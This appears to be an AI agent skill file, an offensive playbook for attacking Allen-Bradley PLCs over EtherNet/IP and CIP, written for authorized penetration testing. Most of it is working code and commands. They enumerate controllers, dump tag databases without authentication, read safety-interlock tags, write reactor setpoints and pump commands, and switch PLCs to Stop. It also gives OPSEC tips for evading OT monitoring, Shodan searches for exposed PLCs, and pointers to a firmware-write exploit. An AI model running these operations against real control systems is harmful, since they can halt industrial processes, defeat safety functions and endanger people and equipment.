| name | enip-cip |
| description | EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"ethernet/ip ethernetip enip cip 44818 2222 allen-bradley rockwell controllogix compactlogix pylogix cpppo plc tag list-identity forward-open","subdomain":"ics-ot","tags":"enip, cip, ethernet-ip, plc, ics, ot, allen-bradley, rockwell","mitre_attack":"T0855, T0836, T0816, T0814"} |
EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222)
EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.
SAFETY FIRST
CIP write operations (Write() on tags) and mode-change commands (Stop, Run, Reset) affect physical process equipment. A mode-change to Stop immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.
Prerequisites
pip install pylogix
pip install cpppo
nmap -p 44818 --open -sV 10.0.0.0/24
Phase 1 — Discover
UDP 2222 List Identity broadcast
UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.
python3 -m cpppo.server.enip.list_identity 10.0.0.255
python3 -m cpppo.server.enip.list_identity 10.0.0.5
nmap -p 44818 --script enip-info 10.0.0.5
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
info = comm.GetPLCTime()
print("PLC time:", info.Value)
props = comm.GetModuleProperties(0)
print("Module:", props.Value)
Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix)
ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
tags = comm.GetTagList()
print(f"[*] Found {len(tags.Value)} controller tags")
for tag in tags.Value:
print(f" {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")
programs = comm.GetProgramList()
for prog in programs.Value:
prog_tags = comm.GetProgramTagList(prog)
print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
for tag in prog_tags.Value:
print(f" {prog}:{tag.TagName:<36} Type={tag.DataType}")
Tag names are often self-describing in production environments:
PumpStation_1.RunCmd — pump run command coil
Valve_FV_101.OpenCmd — valve open command
Reactor_TIC_201.SP — temperature setpoint
Safety_SIL2.BypassActive — safety interlock bypass flag
Phase 3 — Read tags
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
result = comm.Read("PumpStation_1.RunCmd")
print(f"PumpStation_1.RunCmd = {result.Value} (Status: {result.Status})")
tag_list = [
"Reactor_TIC_201.SP",
"Reactor_TIC_201.PV",
"Valve_FV_101.OpenCmd",
"Safety_SIL2.BypassActive",
]
results = comm.Read(tag_list)
for r in results:
print(f" {r.TagName} = {r.Value} Status={r.Status}")
array_result = comm.Read("RecipeArray[0]", 10)
print("Recipe[0:10]:", array_result.Value)
Phase 4 — Write tags (SAFETY GATE — write-class authorization required)
STOP. Confirm written scope authorization before this phase.
Writing process control tags may energize/de-energize actuators immediately.
from pylogix import PLC
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
result = comm.Write("Reactor_TIC_201.SP", 85.0)
print(f"Write SP: {result.Status}")
result = comm.Write("PumpStation_1.RunCmd", 1)
print(f"Write RunCmd: {result.Status}")
Write status codes: Success = write accepted by PLC; PathSegmentError = bad tag name; ServiceError = PLC in Program mode or inhibited.
Phase 5 — CIP mode change: Stop / Run / Reset
Mode change via CIP is a direct PLC execution-state change. Stop halts the ladder/function-block program. Reset is a cold restart.
import cpppo
from cpppo.server.enip import client
def set_plc_mode(ip, mode_val, port=44818):
"""
mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)
Requires write-class scope authorization.
"""
operations = [
{
"method": "set_attribute_single",
"path": "@0x01/1/10",
"data": [mode_val],
}
]
with client.connector(host=ip, port=port) as conn:
for op in operations:
conn.set_attribute_single(
path=op["path"],
data=op["data"],
)
conn.collect(timeout=2)
print(f"Mode change to {mode_val:#04x} sent")
Alternatively, pylogix provides a direct wrapper:
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
comm.GetPLCTime()
Phase 6 — Historical Rockwell auth-bypass CVEs
| CVE | Product | Description | CVSS |
|---|
| CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 |
| CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 |
| CVE-2023-3595 | ControlLogix 1756 (firmware <= 33.011) | Path traversal in CIP service; unauthenticated firmware read/write | 9.8 |
| CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 |
| CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 |
CVE-2023-3595 / 3596 (Claroty "LogiSploit") is the most relevant for live engagements — unauthenticated firmware upload/download against unpatched ControlLogix. Patch check:
with PLC() as comm:
comm.IPAddress = "10.0.0.5"
props = comm.GetModuleProperties(0)
print("Firmware:", props.Value)
Common findings
| Finding | MITRE | Impact |
|---|
| Internet-exposed EtherNet/IP (Shodan: port:44818) | T0882 | Direct PLC access from internet |
| No CIP authentication — tag list readable | T0855 | Full process variable visibility |
| Tag write accepted without auth | T0836 | Direct process manipulation |
| PLC mode change accepted (Stop) | T0816 | Halt production line |
| Flat IT/OT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation |
| Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read/write, persistent implant |
| Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation |
Evidence
kg_add_node(
kind="finding",
label="EtherNet/IP unauthenticated tag access",
props={
"key": f"enip-cip-anon::{target_ip}",
"protocol": "enip-cip",
"port": 44818,
"product_name": "<ProductName>",
"firmware_revision": "<major.minor>",
"tag_count": len(tags.Value),
"writable": False,
"source": "pylogix-taglist",
},
)
ZFP (two-method evidence)
pylogix GetTagList() output showing tag count + representative tag names with data types.
pylogix Read() result for at least one process variable showing a live value (e.g., temperature, pressure, motor state).
If write testing was authorized: include Write() result showing Status=Success and a Read back confirming value change.
OPSEC notes
- EtherNet/IP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi/Claroty NDR is deployed with flow-level inspection.
- High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out.
- Mode-change commands (Stop/Program) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles.
- Shodan regularly indexes internet-facing EtherNet/IP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning.
- CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller.
References
- pylogix — github.com/dmroeder/pylogix
- cpppo — github.com/pjkundert/cpppo
- ODVA EtherNet/IP and CIP Specifications — odva.org
- Claroty Team82 "LogiSploit" (CVE-2023-3595/3596) — claroty.com/team82
- CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io
- ICS-CERT Rockwell advisories — cisa.gov/uscert/ics/advisories
- "Exploiting Industrial Control Systems" — Reid Wightman, S4 Conference
- Shodan dork reference — https://www.shodan.io/search?query=port%3A44818